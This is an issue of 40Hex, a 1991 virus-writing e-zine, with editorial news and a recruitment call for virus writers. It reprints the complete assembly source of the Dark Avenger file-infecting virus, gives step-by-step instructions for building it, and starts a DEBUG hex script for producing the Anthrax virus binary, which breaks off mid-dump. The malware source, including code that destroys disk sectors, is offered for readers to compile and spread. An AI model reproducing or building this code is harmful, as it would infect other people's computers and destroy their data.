home *** CD-ROM | disk | FTP | other *** search
Text File | 1995-03-29 | 111.8 KB | 3,560 lines |
- 40Hex Issue 3 0000
-
- Contents
- --------
-
- A Word From Hellraiser.......................................0001
- The Dark Avenger Source......................................0002
- Anthrax......................................................0003
- The 40Hex Challenge/The Strange Case of Validate.............0004
- Application for SKISM........................................0005
- Virus News For October/91....................................0006
- The Darth Vader Virus Strain B...............................0007
- Mystery Virus................................................0008
- Tiny-F Source................................................0009
- Afterwords...................................................0010
-
- Staff
- -----
-
- Hellraiser...............Editor/Writer/Programmer/Tech. Consultant
- Garbage Heap.....................Writer/Spell Checker/Distribution
-
- Special Thanks to... Demogorgan, Dark Angel, Count Zero, Piff',
- Paragon Dude, The Fisch, Gambit, Punisher,
- Nuclear Warhead, Ironlord (and the rest of
- the alliance people all our freinds in PA, CT,
- and all over the world, and most of all our
- readers for your support.
-
-
- SKISM distribution sites as of 10/91
-
- Jihad - 1-(408)-XXX-XXXX : California
- The Night Eyes BBS - 1-(717)-367-3501 : Pennsylvania
- The Punishment Due BBS - 1-(203)-675-???? : Connecticut * DOWN *
-
-
-
-
-
- 40Hex Issue 3 0001
-
- - Gray would be the color, if I had a heart.
-
-
- Well what's up. Sorry about the delay with issue three
- but there's been a lot of stuff going down. I've been
- working on a lot of semi-legit projects and all that so
- I haven't gotten around to 40Hex till now.
-
- Anyway, first big news is this. SKISM has now co-oped
- with the New York based group PHALCON, thus broadening
- both groups span of diversity. SKISM being an all virus
- group and PHALCON dealing with mainly h/p.
-
- Secondly, SKISM is hoping to broaden its membership a
- bit. We are looking for a few good virus writers.
- Mainly what we need is some people who are very good
- at assembly code and first and foremost virus writing.
- Lame bomb writers, Q-Basic coders and such need not apply.
- We are not just looking for IBM coders, as we are also
- broading to Mac and Amiga.
-
- Thirdly, SKISM gained a new HQ in PA., it is called Night
- Eyes BBS. The number is (717)-367-3501, supporting
- 12/24/96/14.4 baud rates.
-
- Finally, The Landfill BBS, whos number is listed as the
- SKISM HQ in issue two, is no longer our HQ. Although
- we are still on very good terms with the staff of that
- BBS, please refrain from calling it with virus related
- topics (they are no-longer h/p, just Amiga wares). Any-
- way the new New York SKISM base should be up and running
- by tops October. It will be called Hell On Earth and I
- myself will be sysop.
-
- Well enjoy...
-
- - Hellraiser
-
-
-
- -- Appendum --
-
- Well about three days after writing this artical I found out
- that I am being shipped to California. This sucks...
-
- Well looks like Hell On Earth will be up out there instead of
- New York.
-
- Call our home boards to keep in touch with the situation. I
- can still be left mail on Night Eyes.
-
-
- -- Appendum B --
- 10/25/91
-
- Well, it's been over a month since I wrote the above. Nothing
- much has changed since then. I'm in CA. now and without a
- system. Phalcon members have been going off -- mostly Dark Angel,
- who has a new virus coming out, Bob Ross. I hope I can get it
- for this issue.
-
- Anyway, in other news The Punishment Due - Skism distribution
- site has gone down. I am looking for other BBS's to add the
- collection to.
-
- More news... There is another Hell On Earth BBS out there so
- it looks like I am going to have to change the name of my
- BBS, when I get my system. Ironically I am concidering having
- the other Hell On Earth as a Skism distribution site.
-
- Even more news... I have been getting a lot of shit cause
- of my name. There seems to be other Hellraisers out there,
- who claim they were the first... Fuck you all! I had the name
- since 1989, when I read Clive Barkers novella - "The Hellbound
- Heart." If you had it before then, its yours. However after
- calling a lot of boards nationally lately I never had a problem
- logging on due to my name. Shows how lame people are.
-
- Well thats it for now... Hope this issue will be out shortly.
-
-
- 40Hex Issue 3 0002
-
- The Dark Avenger
-
- - We are demons to some, angels to others.
-
- Well, here it is. Here is the first major virus source, from the
- man who brought us such greats as V2000, Anthrax, and V2100 to name
- a few. Well this Bulgarian metal lover was nice enough to freely
- distribute the source code to his first virus.
-
- ------------------------------------------------------------------------------
-
- ; "Blessed is he who expects nothing, for he shall not be disappointed."
-
- ; The original source of one of the first Bulgarian viruses is in front of
- ; you. As you may notice, it's full of rubbish and bugs, but nevertheless
- ; the virus has spread surprisingly quickly troughout the country and made a
- ; quick round the globe. (It's well-known in Eastern and Western Europe, as
- ; well as in USA.) Due to the aniversary of its creation, the source is
- ; distributed freely. You have the rights to distribute the source which can
- ; be charged or free of charge, with the only condition not to modify it.
- ; The one, who intentionaly distributes this source modified in any way will
- ; be punished! Still, the author will be glad if any of you improves it and
- ; spreads the resulting executive file (i.e., the virus itself). Pay
- ; attention to the fact that after you assemble the source, the resulting
- ; .COM-file cannot be run. For that purpose you have to create a three-byte
- ; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
- ; two files. Don't try to place a JMP at the beginning of the source.
-
- ; DISCLAIMER: The author does not take any responsability for any damage,
- ; either direct or implied, caused by the usage or not of this source or of
- ; the resulting code after assembly. No warrant is made about the product
- ; functionability or quality.
-
- ; I cannot resist to express my special gratitude to my "populazer" Dipl.
- ; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
- ; not, helps very much in the spreading of my viruses, in spite of the fact
- ; that he tries to do just the opposite (writing programs in C has never
- ; led to any good).
- ; Greetings to all virus writers!
-
- code segment
- assume cs:code,ds:code
- copyright:
- db 'Eddie lives...somewhere in time!',0
- date_stamp:
- dd 12239000h
- checksum:
- db 30
-
- ; Return the control to an .EXE file:
- ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
-
-
-
-
-
- exit_exe:
- mov bx,es
- add bx,10h
- add bx,word ptr cs:[si+call_adr+2]
- mov word ptr cs:[si+patch+2],bx
- mov bx,word ptr cs:[si+call_adr]
- mov word ptr cs:[si+patch],bx
- mov bx,es
- add bx,10h
- add bx,word ptr cs:[si+stack_pointer+2]
- mov ss,bx
- mov sp,word ptr cs:[si+stack_pointer]
- db 0eah ;JMP XXXX:YYYY
- patch:
- dd 0
-
- ; Returns control to a .COM file:
- ; Restores the first 3 bytes in the
- ; beginning of the file, loads SP and IP.
-
- exit_com:
-
-
-
-
- mov di,100h
- add si,offset my_save
- movsb
- movsw
- mov sp,ds:[6] ;This is incorrect
- xor bx,bx
- push bx
- jmp [si-11] ;si+call_adr-top_file
-
- ; Program entry point
-
- startup:
- call relative
- relative:
- pop si ;SI = $
- sub si,offset relative
- cld
- cmp word ptr cs:[si+my_save],5a4dh
- je exe_ok
- cli
- mov sp,si ;A separate stack is supported for
- add sp,offset top_file+100h ;the .COM files, in order not to
- sti ;overlap the stack by the program
- cmp sp,ds:[6]
- jnc exit_com
- exe_ok:
- push ax
- push es
- push si
- push ds
- mov di,si
-
- ; Looking for the address of INT 13h handler in ROM-BIOS
-
- xor ax,ax
- push ax
- mov ds,ax
- les ax,ds:[13h*4]
- mov word ptr cs:[si+fdisk],ax
- mov word ptr cs:[si+fdisk+2],es
- mov word ptr cs:[si+disk],ax
- mov word ptr cs:[si+disk+2],es
- mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
- cmp ax,0f000h ;for diskettes if a hard disk is
- jne nofdisk ;available
- mov word ptr cs:[si+disk+2],ax
- mov ax,ds:[40h*4]
- mov word ptr cs:[si+disk],ax
- mov dl,80h
- mov ax,ds:[41h*4+2] ;INT 41h usually points the segment,
- cmp ax,0f000h ;where the original INT 13h vector is
- je isfdisk
- cmp ah,0c8h
- jc nofdisk
- cmp ah,0f4h
- jnc nofdisk
- test al,7fh
- jnz nofdisk
- mov ds,ax
- cmp ds:[0],0aa55h
- jne nofdisk
- mov dl,ds:[2]
- isfdisk:
- mov ds,ax
- xor dh,dh
- mov cl,9
- shl dx,cl
- mov cx,dx
- xor si,si
- findvect:
- lodsw ;Occasionally begins with:
- cmp ax,0fa80h ; CMP DL,80h
- jne altchk ; JNC somewhere
- lodsw
- cmp ax,7380h
- je intchk
- jne nxt0
- altchk:
- cmp ax,0c2f6h ;or with:
- jne nxt ; TEST DL,80h
- lodsw ; JNZ somewhere
- cmp ax,7580h
- jne nxt0
- intchk:
- inc si ;then there is:
- lodsw ; INT 40h
- cmp ax,40cdh
- je found
- sub si,3
- nxt0:
- dec si
- dec si
- nxt:
- dec si
- loop findvect
- jmp short nofdisk
- found:
- sub si,7
- mov word ptr cs:[di+fdisk],si
- mov word ptr cs:[di+fdisk+2],ds
- nofdisk:
- mov si,di
- pop ds
-
- ; Check whether the program is present in memory:
-
- les ax,ds:[21h*4]
- mov word ptr cs:[si+save_int_21],ax
- mov word ptr cs:[si+save_int_21+2],es
- push cs
- pop ds
- cmp ax,offset int_21
- jne bad_func
- xor di,di
- mov cx,offset my_size
- scan_func:
- lodsb
- scasb
- jne bad_func
- loop scan_func
- pop es
- jmp go_program
-
- ; Move the program to the top of memory:
- ; (it's full of rubbish and bugs here)
-
- bad_func:
- pop es
- mov ah,49h
- int 21h
- mov bx,0ffffh
- mov ah,48h
- int 21h
- sub bx,(top_bz+my_bz+1ch-1)/16+2
- jc go_program
- mov cx,es
- stc
- adc cx,bx
- mov ah,4ah
- int 21h
- mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
- stc
- sbb es:[2],bx
- push es
- mov es,cx
- mov ah,4ah
- int 21h
- mov ax,es
- dec ax
- mov ds,ax
- mov word ptr ds:[1],8
- call mul_16
- mov bx,ax
- mov cx,dx
- pop ds
- mov ax,ds
- call mul_16
- add ax,ds:[6]
- adc dx,0
- sub ax,bx
- sbb dx,cx
- jc mem_ok
- sub ds:[6],ax ;Reduction of the segment size
- mem_ok:
- pop si
- push si
- push ds
- push cs
- xor di,di
- mov ds,di
- lds ax,ds:[27h*4]
- mov word ptr cs:[si+save_int_27],ax
- mov word ptr cs:[si+save_int_27+2],ds
- pop ds
- mov cx,offset aux_size
- rep movsb
- xor ax,ax
- mov ds,ax
- mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
- mov ds:[21h*4+2],es
- mov ds:[27h*4],offset int_27
- mov ds:[27h*4+2],es
- mov word ptr es:[filehndl],ax
- pop es
- go_program:
- pop si
-
- ; Smash the next disk sector:
-
- xor ax,ax
- mov ds,ax
- mov ax,ds:[13h*4]
- mov word ptr cs:[si+save_int_13],ax
- mov ax,ds:[13h*4+2]
- mov word ptr cs:[si+save_int_13+2],ax
- mov ds:[13h*4],offset int_13
- add ds:[13h*4],si
- mov ds:[13h*4+2],cs
- pop ds
- push ds
- push si
- mov bx,si
- lds ax,ds:[2ah]
- xor si,si
- mov dx,si
- scan_envir: ;Fetch program's name
- lodsw ;(with DOS 2.x it doesn't work anyway)
- dec si
- test ax,ax
- jnz scan_envir
- add si,3
- lodsb
-
- ; The following instruction is a complete nonsense. Try to enter a drive &
- ; directory path in lowercase, then run an infected program from there.
- ; As a result of an error here + an error in DOS the next sector is not
- ; smashed. Two memory bytes are smashed instead, most probably onto the
- ; infected program.
-
- sub al,'A'
- mov cx,1
- push cs
- pop ds
- add bx,offset int_27
- push ax
- push bx
- push cx
- int 25h
- pop ax
- pop cx
- pop bx
- inc byte ptr [bx+0ah]
- and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
- jnz store_sec ;nothing is not enough for some.
- mov al,[bx+10h]
- xor ah,ah
- mul word ptr [bx+16h]
- add ax,[bx+0eh]
- push ax
- mov ax,[bx+11h]
- mov dx,32
- mul dx
- div word ptr [bx+0bh]
- pop dx
- add dx,ax
- mov ax,[bx+8]
- add ax,40h
- cmp ax,[bx+13h]
- jc store_new
- inc ax
- and ax,3fh
- add ax,dx
- cmp ax,[bx+13h]
- jnc small_disk
- store_new:
- mov [bx+8],ax
- store_sec:
- pop ax
- xor dx,dx
- push ax
- push bx
- push cx
- int 26h
-
-
- ; The writing trough this interrupt is not the smartest thing, bacause it
- ; can be intercepted (what Vesselin Bontchev has managed to notice).
-
- pop ax
- pop cx
- pop bx
- pop ax
- cmp byte ptr [bx+0ah],0
- jne not_now
- mov dx,[bx+8]
- pop bx
- push bx
- int 26h
- small_disk:
- pop ax
- not_now:
- pop si
- xor ax,ax
- mov ds,ax
- mov ax,word ptr cs:[si+save_int_13]
- mov ds:[13h*4],ax
- mov ax,word ptr cs:[si+save_int_13+2]
- mov ds:[13h*4+2],ax
- pop ds
- pop ax
- cmp word ptr cs:[si+my_save],5a4dh
- jne go_exit_com
- jmp exit_exe
- go_exit_com:
- jmp exit_com
- int_24:
- mov al,3 ;This instruction seems unnecessary
- iret
-
- ; INT 27h handler (this is necessary)
-
- int_27:
- pushf
- call alloc
- popf
- jmp dword ptr cs:[save_int_27]
-
- ; During the DOS functions Set & Get Vector it seems that the virus has not
- ; intercepted them (this is a doubtfull advantage and it is a possible
- ; source of errors with some "intelligent" programs)
-
- set_int_27:
- mov word ptr cs:[save_int_27],dx
- mov word ptr cs:[save_int_27+2],ds
- popf
- iret
- set_int_21:
- mov word ptr cs:[save_int_21],dx
- mov word ptr cs:[save_int_21+2],ds
- popf
- iret
- get_int_27:
- les bx,dword ptr cs:[save_int_27]
- popf
- iret
- get_int_21:
- les bx,dword ptr cs:[save_int_21]
- popf
- iret
-
- exec:
-
-
- call do_file
- call alloc
- popf
- jmp dword ptr cs:[save_int_21]
-
- db 'Diana P.',0
-
- ; INT 21h handler. Infects files during execution, copying, browsing or
- ; creating and some other operations. The execution of functions 0 and 26h
- ; has bad consequences.
-
- int_21:
- push bp
- mov bp,sp
- push [bp+6]
- popf
- pop bp
- pushf
- call ontop
- cmp ax,2521h
- je set_int_21
- cmp ax,2527h
- je set_int_27
- cmp ax,3521h
- je get_int_21
- cmp ax,3527h
- je get_int_27
- cld
- cmp ax,4b00h
- je exec
- cmp ah,3ch
- je create
- cmp ah,3eh
- je close
- cmp ah,5bh
- jne not_create
- create:
- cmp word ptr cs:[filehndl],0;May be 0 if the file is open
- jne dont_touch
- call see_name
- jnz dont_touch
- call alloc
- popf
- call function
- jc int_exit
- pushf
- push es
- push cs
- pop es
- push si
- push di
- push cx
- push ax
- mov di,offset filehndl
- stosw
- mov si,dx
- mov cx,65
- move_name:
- lodsb
- stosb
- test al,al
- jz all_ok
- loop move_name
- mov word ptr es:[filehndl],cx
- all_ok:
- pop ax
- pop cx
- pop di
- pop si
- pop es
- go_exit:
- popf
- jnc int_exit ;JMP
- close:
- cmp bx,word ptr cs:[filehndl]
- jne dont_touch
- test bx,bx
- jz dont_touch
- call alloc
- popf
- call function
- jc int_exit
- pushf
- push ds
- push cs
- pop ds
- push dx
- mov dx,offset filehndl+2
- call do_file
- mov word ptr cs:[filehndl],0
- pop dx
- pop ds
- jmp go_exit
- not_create:
- cmp ah,3dh
- je touch
- cmp ah,43h
- je touch
- cmp ah,56h ;Unfortunately, the command inter-
- jne dont_touch ;preter does not use this function
- touch:
- call see_name
- jnz dont_touch
- call do_file
- dont_touch:
- call alloc
- popf
- call function
- int_exit:
- pushf
- push ds
- call get_chain
- mov byte ptr ds:[0],'Z'
- pop ds
- popf
- dummy proc far ;???
- ret 2
- dummy endp
-
- ; Checks whether the file is .COM or .EXE.
- ; It is not called upon file execution.
-
- see_name:
- push ax
- push si
- mov si,dx
- scan_name:
- lodsb
- test al,al
- jz bad_name
- cmp al,'.'
- jnz scan_name
- call get_byte
- mov ah,al
- call get_byte
- cmp ax,'co'
- jz pos_com
- cmp ax,'ex'
- jnz good_name
- call get_byte
- cmp al,'e'
- jmp short good_name
- pos_com:
- call get_byte
- cmp al,'m'
- jmp short good_name
- bad_name:
- inc al
- good_name:
- pop si
- pop ax
- ret
-
- ; Converts into lowercase (the subroutines are a great thing).
-
- get_byte:
- lodsb
- cmp al,'C'
- jc byte_got
- cmp al,'Y'
- jnc byte_got
- add al,20h
- byte_got:
- ret
-
- ; Calls the original INT 21h.
-
- function:
- pushf
- call dword ptr cs:[save_int_21]
- ret
-
- ; Arrange to infect an executable file.
-
- do_file:
- push ds ;Save the registers in stack
- push es
- push si
- push di
- push ax
- push bx
- push cx
- push dx
- mov si,ds
- xor ax,ax
- mov ds,ax
- les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
- push es ;and changes them with what is needed
- push ax
- mov ds:[24h*4],offset int_24
- mov ds:[24h*4+2],cs
- les ax,ds:[13h*4]
- mov word ptr cs:[save_int_13],ax
- mov word ptr cs:[save_int_13+2],es
- mov ds:[13h*4],offset int_13
- mov ds:[13h*4+2],cs
- push es
- push ax
- mov ds,si
- xor cx,cx ;Arranges to infect Read-only files
- mov ax,4300h
- call function
- mov bx,cx
- and cl,0feh
- cmp cl,bl
- je dont_change
- mov ax,4301h
- call function
- stc
- dont_change:
- pushf
- push ds
- push dx
- push bx
- mov ax,3d02h ;Now we can safely open the file
- call function
- jc cant_open
- mov bx,ax
- call disease
- mov ah,3eh ;Close it
-
- call function
- cant_open:
- pop cx
- pop dx
- pop ds
- popf
- jnc no_update
- mov ax,4301h ;Restores file's attributes
- call function ;if they were changed (just in case)
- no_update:
- xor ax,ax ;Restores INT 13h and INT 24h
- mov ds,ax
- pop ds:[13h*4]
- pop ds:[13h*4+2]
- pop ds:[24h*4]
- pop ds:[24h*4+2]
- pop dx ;Register restoration
- pop cx
- pop bx
- pop ax
- pop di
- pop si
- pop es
- pop ds
- ret
-
- ; This routine is the working horse.
-
- disease:
- push cs
- pop ds
- push cs
- pop es
- mov dx,offset top_save ;Read the file beginning
- mov cx,18h
- mov ah,3fh
- int 21h
- xor cx,cx
- xor dx,dx
- mov ax,4202h ;Save file length
- int 21h
- mov word ptr [top_save+1ah],dx
- cmp ax,offset my_size ;This should be top_file
- sbb dx,0
- jc stop_fuck_2 ;Small files are not infected
- mov word ptr [top_save+18h],ax
- cmp word ptr [top_save],5a4dh
- jne com_file
- mov ax,word ptr [top_save+8]
- add ax,word ptr [top_save+16h]
- call mul_16
- add ax,word ptr [top_save+14h]
- adc dx,0
- mov cx,dx
- mov dx,ax
- jmp short see_sick
- com_file:
- cmp byte ptr [top_save],0e9h
- jne see_fuck
- mov dx,word ptr [top_save+1]
- add dx,103h
- jc see_fuck
- dec dh
- xor cx,cx
-
- ; Check if the file is properly infected
-
-
- see_sick:
- sub dx,startup-copyright
- sbb cx,0
- mov ax,4200h
- int 21h
- add ax,offset top_file
- adc dx,0
- cmp ax,word ptr [top_save+18h]
- jne see_fuck
- cmp dx,word ptr [top_save+1ah]
- jne see_fuck
- mov dx,offset top_save+1ch
- mov si,dx
- mov cx,offset my_size
- mov ah,3fh
- int 21h
- jc see_fuck
- cmp cx,ax
- jne see_fuck
- xor di,di
- next_byte:
-
- lodsb
- scasb
- jne see_fuck
- loop next_byte
- stop_fuck_2:
- ret
- see_fuck:
- xor cx,cx ;Seek to the end of file
- xor dx,dx
- mov ax,4202h
- int 21h
- cmp word ptr [top_save],5a4dh
- je fuck_exe
- add ax,offset aux_size+200h ;Watch out for too big .COM files
- adc dx,0
- je fuck_it
- ret
-
- ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
-
- fuck_exe:
- mov dx,word ptr [top_save+18h]
- neg dl
- and dx,0fh
- xor cx,cx
- mov ax,4201h
- int 21h
- mov word ptr [top_save+18h],ax
- mov word ptr [top_save+1ah],dx
- fuck_it:
- mov ax,5700h ;Get file's date
- int 21h
- pushf
- push cx
- push dx
- cmp word ptr [top_save],5a4dh
- je exe_file ;Very clever, isn't it?
- mov ax,100h
- jmp short set_adr
- exe_file:
- mov ax,word ptr [top_save+14h]
- mov dx,word ptr [top_save+16h]
- set_adr:
- mov di,offset call_adr
- stosw
- mov ax,dx
- stosw
- mov ax,word ptr [top_save+10h]
- stosw
- mov ax,word ptr [top_save+0eh]
- stosw
- mov si,offset top_save ;This offers the possibilities to
- movsb ;some nasty programs to restore
- movsw ;exactly the original length
- xor dx,dx ;of the .EXE files
- mov cx,offset top_file
- mov ah,40h
- int 21h ;Write the virus
- jc go_no_fuck ;(don't trace here)
- xor cx,ax
- jnz go_no_fuck
- mov dx,cx
- mov ax,4200h
- int 21h
- cmp word ptr [top_save],5a4dh
- je do_exe
- mov byte ptr [top_save],0e9h
- mov ax,word ptr [top_save+18h]
- add ax,startup-copyright-3
- mov word ptr [top_save+1],ax
- mov cx,3
- jmp short write_header
- go_no_fuck:
- jmp short no_fuck
-
- ; Construct the .EXE file's header
-
- do_exe:
- call mul_hdr
- not ax
- not dx
- inc ax
- jne calc_offs
- inc dx
- calc_offs:
- add ax,word ptr [top_save+18h]
- adc dx,word ptr [top_save+1ah]
- mov cx,10h
- div cx
- mov word ptr [top_save+14h],startup-copyright
- mov word ptr [top_save+16h],ax
- add ax,(offset top_file-offset copyright-1)/16+1
- mov word ptr [top_save+0eh],ax
- mov word ptr [top_save+10h],100h
- add word ptr [top_save+18h],offset top_file
- adc word ptr [top_save+1ah],0
- mov ax,word ptr [top_save+18h]
- and ax,1ffh
- mov word ptr [top_save+2],ax
- pushf
- mov ax,word ptr [top_save+19h]
- shr byte ptr [top_save+1bh],1
- rcr ax,1
- popf
- jz update_len
- inc ax
- update_len:
- mov word ptr [top_save+4],ax
- mov cx,18h
- write_header:
- mov dx,offset top_save
- mov ah,40h
- int 21h ;Write the file beginning
- no_fuck:
- pop dx
- pop cx
- popf
- jc stop_fuck
- mov ax,5701h ;Restore the original file date
- int 21h
- stop_fuck:
- ret
-
- ; The following is used by the INT 21h and INT 27h handlers in connection
- ; to the program hiding in memory from those who don't need to see it.
- ; The whole system is absurde and meaningless and it is also another source
- ; for program conflicts.
-
- alloc:
- push ds
- call get_chain
- mov byte ptr ds:[0],'M'
- pop ds
-
- ; Assures that the program is the first one in the processes,
- ; which have intercepted INT 21h (yet another source of conflicts).
-
- ontop:
- push ds
- push ax
- push bx
- push dx
- xor bx,bx
- mov ds,bx
- lds dx,ds:[21h*4]
- cmp dx,offset int_21
- jne search_segment
- mov ax,ds
- mov bx,cs
- cmp ax,bx
- je test_complete
-
- ; Searches the segment of the sucker who has intercepted INT 21h, in
- ; order to find where it has stored the old values and to replace them.
- ; Nothing is done for INT 27h.
-
- xor bx,bx
- search_segment:
- mov ax,[bx]
- cmp ax,offset int_21
- jne search_next
- mov ax,cs
- cmp ax,[bx+2]
- je got_him
- search_next:
- inc bx
- jne search_segment
- je return_control
- got_him:
- mov ax,word ptr cs:[save_int_21]
- mov [bx],ax
- mov ax,word ptr cs:[save_int_21+2]
- mov [bx+2],ax
- mov word ptr cs:[save_int_21],dx
- mov word ptr cs:[save_int_21+2],ds
- xor bx,bx
-
- ; Even if he has not saved them in the same segment, this won't help him.
-
- return_control:
- mov ds,bx
- mov ds:[21h*4],offset int_21
- mov ds:[21h*4+2],cs
- test_complete:
- pop dx
- pop bx
- pop ax
- pop ds
- ret
-
- ; Fetch the segment of the last MCB
-
- get_chain:
- push ax
- push bx
- mov ah,62h
- call function
- mov ax,cs
- dec ax
- dec bx
- next_blk:
- mov ds,bx
- stc
- adc bx,ds:[3]
- cmp bx,ax
- jc next_blk
- pop bx
- pop ax
- ret
-
- ; Multiply by 16
-
- mul_hdr:
- mov ax,word ptr [top_save+8]
- mul_16:
- mov dx,10h
- mul dx
- ret
-
- db 'This program was written in the city of Sofia '
- db '(C) 1988-89 Dark Avenger',0
-
- ; INT 13h handler.
- ; Calls the original vectors in BIOS, if it's a writing call
-
- int_13:
- cmp ah,3
- jnz subfn_ok
- cmp dl,80h
- jnc hdisk
- db 0eah ;JMP XXXX:YYYY
- my_size: ;--- Up to here comparison
- disk: ; with the original is made
- dd 0
- hdisk:
- db 0eah ;JMP XXXX:YYYY
- fdisk:
- dd 0
- subfn_ok:
- db 0eah ;JMP XXXX:YYYY
- save_int_13:
- dd 0
- call_adr:
- dd 100h
-
- stack_pointer:
- dd 0 ;The original value of SS:SP
- my_save:
- int 20h ;The original contents of the first
- nop ;3 bytes of the file
- top_file: ;--- Up to here the code is written
- filehndl equ $ ; in the files
- filename equ filehndl+2 ;Buffer for the name of the opened file
- save_int_27 equ filename+65 ;Original INT 27h vector
- save_int_21 equ save_int_27+4 ;Original INT 21h vector
- aux_size equ save_int_21+4 ;--- Up to here is moved into memory
- top_save equ save_int_21+4 ;Beginning of the buffer, which
- ;contains
- ; - The first 24 bytes read from file
- ; - File length (4 bytes)
- ; - The last bytes of the file
- ; (my_size bytes)
- top_bz equ top_save-copyright
- my_bz equ my_size-copyright
-
- code ends
- end
-
- ------------------------------------------------------------------------------
-
- A few notes on assembling this virus.
-
- It's a little bit tricky assembling the Dark Avenger Virus. Use
- these steps below. I use Turbo Assembler 2.0, but I'm positve that
- MASM will work just as well.
-
- 1:
- TASM AVENGER.ASM
-
- 2:
- TLINK AVENGER.OBJ
-
- 3:
- EXE2BIN AVENGER AVENGER.COM
-
- Now make a 3 byte file named JUMP.TMP using DEBUG like this
-
- 4: DEBUG
-
- n jmp.tmp
- e 0100 E9 68 00
-
- rcx
- 3
- w
- q
-
- 5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM
-
- There you have it....
-
- HR
-
- 40Hex Issue 3 0003
-
- Anthrax
-
- Well, this is turning out to be a tribute issue to the Dark
- Avenger. Here is another one of his better known viruses. This is
- a nice one cause it not only is a file infector, but it is also a
- sort of boot sector virus. It is also what I dubbed a reincarnation
- virus, meaning that even if you clean your system of it, it may
- still live, because it leaves a copy of itself on the last sector of
- the disk. The virus can be reincarnated by the V2100 virus, also bu
- The Dark Avenger.
-
- Well, Patti Hoffman (one of my favorite people on earth, not) wrote
- this virus up.
-
- Aliases:
- V Status: Rare [Not for long]
- Discovery: July, 1990
- Symptoms: .COM & .EXE growth
- Origin: Bulgaria
- Isolated: Netherlands
- Eff Length: 1040 - 1279 Bytes
- Type Code: PRAKX - Parasitic Resident .COM, .EXE, & Partition Table Infector
- Detection Method: ViruScan V66+, Pro-Scan 2.01+, IBM Scan 2.00+
- Removal Instructions: Scan/D + MDisk/P, Pro-Scan 2.01+
- General Comments:
- The Anthrax Virus was isolated in July 1990 in the Netherlands after
- it was uploaded onto several BBSes in a trojan anti-viral program,
- USCAN.ZIP. It is the second virus to be found in a copy of UScan
- during July 1990, the first virus being V2100. Anthrax is a memory
- resident generic infector of .COM and .EXE files, including
- COMMAND.COM.
-
- The first time a program infected with the Anthrax virus is executed
- on the system's hard disk, the virus will infect the hard disk's
- partition table. At this point, the virus is not memory resident. It
- will also write a copy of itself on the last few sectors of the
- system's hard disk. If data existed on those last few sectors of the
- hard disk, it will be destroyed.
-
- When the system is booted from the hard disk, the Anthrax virus
- will install itself memory resident. It will remain memory resident
- until the first program is executed. At that time, it will deinstall
- itself from being resident and infect one .COM or .EXE file. This
- virus does not infect files in the current directory first, but
- instead starts to infect files at the lowest level of the disk's
- directory tree.
-
- Later, when an infected program is executed, Anthrax will infect one
- .COM or .EXE file, searching the directory structure from the lowest
- level of the directory tree. If the executed infected program
- was located on the floppy drive, a .COM or .EXE file may or may not
- be infected.
-
- The Anthrax Virus's code is 1,024 bytes long, but infected programs
- will increase in length by 1,040 to 1,279 bytes. On the author's test
- system, the largest increase in length experienced was 1,232 bytes.
- Infected files will always have an infected file length that is a
- multiple of 16.
-
- The following text strings can be found in files infected with the
- Anthrax virus:
-
- "(c)Damage, Inc."
- "ANTHRAX"
-
- A third text string occurs in the viral code, but it is in Cyrillics.
- Per Vesselin Bontchev, this third string translates to: "Sofia 1990".
-
- Since Anthrax infects the hard disk partition tables, infected systems
- must have the partition table disinfected or rebuilt in order to
- remove the virus. This disinfection can be done with either a low-
- level format or use of the MDisk/P program for the correct DOS
- version after powering off and rebooting from a write-protected boot
- diskette for the system. Any .COM or .EXE files infected with
- Anthrax must also be disinfected or erased. Since a copy of the virus
- will exist on the last few sectors of the drive, these must also be
- located and overwritten.
-
- Anthrax interacts with another virus: V2100. If a system which was
- previously infected with Anthrax should become infected with the V2100
- virus, the V2100 virus will check the last few sectors of the hard
- disk for the spare copy of Anthrax. If the spare copy is found, then
- Anthrax will be copied to the hard disk's partition table.
-
- It is not known if Anthrax carries any destructive capabilities or
- trigger/activation dates.
-
-
-
-
- Here is the actual virus. Well if this is your fist copy of
- 40Hex, let me explain how to compile it.
-
- First copy what is below with your editor. Then save it to a file
- called ANTHRAX.SCR. Then type at the command line -
-
- DEBUG <ANTHRAX.SCR
-
- This will create a file called ANTHRAX.COM, that's the actual virus.
-
- -------------------------------------------------------------------------------
-
- n anthrax.com
- e 0100 E9 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00
- e 0110 95 8C C8 2D 00 00 BA 00 00 50 52 1E 33 C9 8E D9
- e 0120 BE 4C 00 B8 CD 00 8C CA 87 44 44 87 54 46 52 50
- e 0130 C4 1C B4 13 CD 2F 06 53 B4 13 CD 2F 58 5A 87 04
- e 0140 87 54 02 52 50 51 56 A0 3F 04 A8 0F 75 6C 0E 07
- e 0150 BA 80 00 B1 03 BB 77 06 B8 01 02 50 CD 13 58 B1
- e 0160 01 BB 00 04 CD 13 0E 1F BE 9B 03 8B FB B9 5E 00
- e 0170 56 F3 A6 5E 8B FB B9 62 00 56 F3 A4 5F BE 12 08
- e 0180 B9 65 00 F3 A4 74 1E 89 4D E9 B1 5C 89 4D 9B 88
- e 0190 6D DC B1 02 33 DB B8 02 03 CD 13 49 BB 00 04 B8
- e 01A0 01 03 CD 13 49 B4 19 CD 21 50 B2 02 B4 0E CD 21
- e 01B0 B7 02 E8 87 01 5A B4 0E CD 21 5E 1F 8F 04 8F 44
- e 01C0 02 8F 44 44 8F 44 46 1F 1E 07 95 CB 28 63 29 20
- e 01D0 44 61 6D 61 67 65 2C 20 49 6E 63 2E 00 B0 03 CF
- e 01E0 06 1E 57 56 50 33 C0 8E D8 BE 86 00 0E 07 BF 08
- e 01F0 06 FD AD AB A5 AF 87 F7 AD FC 74 11 1E 07 AF B8
- e 0200 07 01 AB 8C C8 AB 8E D8 BF 68 00 A5 A5 58 5E 5F
- e 0210 1F 07 2E FF 2E 00 06 06 1E 57 56 52 51 53 50 0E
- e 0220 1F BE 06 06 33 C9 8E C1 BF 84 00 A5 A5 B4 52 CD
- e 0230 21 26 8B 47 FE 8E D8 BB 03 00 03 07 40 8E D8 81
